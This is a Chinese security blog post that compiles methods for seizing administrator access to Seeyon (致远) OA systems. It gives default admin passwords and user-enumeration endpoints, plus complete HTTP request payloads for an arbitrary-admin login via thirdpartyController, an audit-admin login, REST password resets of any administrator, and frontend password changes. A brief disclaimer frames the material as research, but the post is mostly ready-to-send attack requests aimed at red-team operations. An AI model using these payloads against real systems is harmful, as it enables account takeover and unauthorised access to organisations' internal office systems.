[漏洞合集]致远获取后台权限及权限绕过漏洞大合集

LiangYueSec

于 2024-07-25 13:44:24 发布

阅读量647

点赞数 19

文章标签：安全 web安全

本文链接：https://blog.csdn.net/LiangYueSec/article/details/140684553

版权

如果觉得该文章有帮助的，麻烦师傅们可以搜索下微信公众号：良月安全。点个关注，感谢师傅。

同时为了感谢师傅们的支持，订阅号的这篇文章下也有星球优惠券，先到先得！！

免责声明

本公众号所发布的所有内容，包括但不限于信息、工具、项目以及文章，均旨在提供学习与研究之用。所有工具安全性自测。如因此产生的一切不良后果与文章作者和本公众号无关。如有涉及公司与个人敏感信息，侵权烦请告知，我们会立即删除并致歉。

前言

致远作为hw常见OA之一，本身存在众多漏洞，但大多漏洞都只存在于后台。所以这里就分享一下如何获取后台权限或者权限绕过常见的几种方法。

默认口令

audit-admin/seeyon123456

admin1/123456

group-admin/123456

system/system

用户名枚举

/seeyon/rest/password/retrieve/send/{username}

/seeyon/rest/password/retrieve/getEmailByLoginName/{username}

/seeyon/personalBind.do?method=getBindTypeByLoginName&loginName={username}

这几个接口存在用户名枚举，可以配合下面爆破或者需要知道用户名的密码更改的漏洞使用。

thirdpartyController任意管理员用户登录

这个只有在部分老一点的致远中才可以遇到。

GET /seeyon/thirdpartyController.do?method=access&enc=TT5uZnR0YmhmL21qb2wvY2N0L3BxZm8nTj4uODM4NDE0MzEyNDM0NTg1OTI3OSdVPjI3OTM2MjU4MjQ4ODY= HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

可以在响应包中得到一个JSESSIONID，在携带JSESSIONID 访问/seeyon/online.do接口进行验证。

GET /seeyon/online.do?method=showOnlineUser HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=获取到的cookie
Connection: close

具体原理不重复分析，怕文章太长。文章参考：致远OA A8-V5 任意用户登录漏洞分析 | Fan的小酒馆 (fanygit.github.io)

需要自己更改payload的话用致远中LightWeightEncoder.decodeString这个方法加密即可。

ucpcLogin审计管理员登录

这个是我目前常用的获取后台权限的方法之一，全版本都可以尝试。

接口利用审计管理员默认用户密码登录（audit-admin/seeyon123456），登录成功后可以获取合法cookie（也是返回包中的set-cookie字段）

POST /seeyon/rest/authentication/ucpcLogin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Host: 
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 54

login_username=audit-admin&login_password=seeyon123456

接口本质上好像就是一个登录接口，如果默认账号密码失败的的话，可能可以利用上面用户名枚举爆破用户名，这个接口这里爆破密码。

rest接口密码重置

可以更改任意管理员的密码。

发送如下请求，重置密码为share.do

PUT /seeyon/rest/orgMember/-7273032013234748168/password/share.do HTTP/1.1
Host: 192.168.37.138:8886
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1E4AA17811924EA74C61F1DC77AD9505; loginPageURL=
If-None-Match: W/"950464-1696145816972"
If-Modified-Since: Sun, 01 Oct 2023 07:36:56 GMT
Connection: close

具体原理移步至：致远OA rest接口重置密码漏洞分析 - 先知社区 (aliyun.com)

致远前台任意用户密码修改

需要知道用户名，用户名可以通过上面的接口爆破。

/seeyon/personalBind.do?method=retrievePassword

/seeyon/personalBind.do?method=sendVerificationCodeToBindNum&type=validate&origin=zx

修改密码为1qaz@WSX

/seeyon/individualManager.do?method=resetPassword&nowpwd=1qaz@WSX

resetPassword接口密码重置

用户名可通过上面枚举接口枚举。

POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: 127.0.0.1
User-Agent: Go-http-client/1.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Content-Length: 24

{"loginName":"admin","password":"1qaz@WSX12312123"}